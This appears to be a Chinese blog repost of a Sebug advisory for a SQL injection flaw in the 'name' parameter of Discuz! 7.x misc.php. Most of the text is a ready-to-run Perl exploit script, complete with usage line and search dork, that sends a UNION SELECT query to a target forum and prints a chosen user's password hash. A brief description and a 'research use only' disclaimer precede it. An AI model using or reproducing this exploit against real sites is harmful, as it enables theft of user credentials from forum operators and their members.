Discuz! 'name'参数SQL注入漏洞

2010年1月23日星期六 | | |

SSV ID:15193
SEBUG-Appdir:Discuz!
发布时间:2010-01-02
影响版本:
Comsenz Discuz! 7.x
漏洞描述:
Bugraq ID: 37556    Comsenz Discuz!是一款流行的论坛程序。  Comsenz Discuz!存在输入验证错误,远程攻击者可以利用漏洞进行SQL注入攻击,获得密码HASH等敏感信息。  问题是'misc.php'脚本对'name'参数缺少过滤,构建恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息或操作数据库。
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl      use IO::Socket;          print q{  ######################################################  #    Discuz  Remote SQL Injection Exploit            #  #    By indoushka                                    #  #    www.iq-ty.com                                   #  #    Souk Naamane  (00213771818860)                  #  #    Algeria Hackerz   ([email protected])       #  # Dork:Powered by Discuz! 1.0 © 2002,Crossday Studio #             ######################################################  };      if (!$ARGV[2]) {      print q{      Usage: perl  Discuz.pl host /directory/ victim_userid             perl  Discuz.pl www.Discuz.com /forum/ 1          };      }          $server = $ARGV[0];  $dir    = $ARGV[1];  $user   = $ARGV[2];  $myuser = $ARGV[3];  $mypass = $ARGV[4];  $myid   = $ARGV[5];      print "------------------------------------------------------------------------------------------------\r\n";  print "[>] SERVER: $server\r\n";  print "[>]    DIR: $dir\r\n";  print "[>] USERID: $user\r\n";  print "------------------------------------------------------------------------------------------------\r\n\r\n";      $server =~ s/(http:\/\/)//eg;      $path  = $dir;  $path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;          print "[~] PREPARE TO CONNECT...\r\n";      $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";      print "[+] CONNECTED\r\n";  print "[~] SENDING QUERY...\r\n";  print $socket "GET $path HTTP/1.1\r\n";  print $socket "Host: $server\r\n";  print $socket "Accept: */*\r\n";  print $socket "Connection: close\r\n\r\n";  print "[+] DONE!\r\n\r\n";              print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";  while ($answer = <$socket>)  {       if ($answer =~/(\w{32})/)  {        if ($1 ne 0) {     print "Password Hash is: ".$1."\r\n";  print "--------------------------------------------------------------------------------------\r\n";            }  exit();  }      }  print "------------------------------------------------------------------------------------------------\r\n";  
SEBUG安全建议:
目前没有解决方案提供:  http://www.discuz.com/
// sebug.net [2010-01-06]
 
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]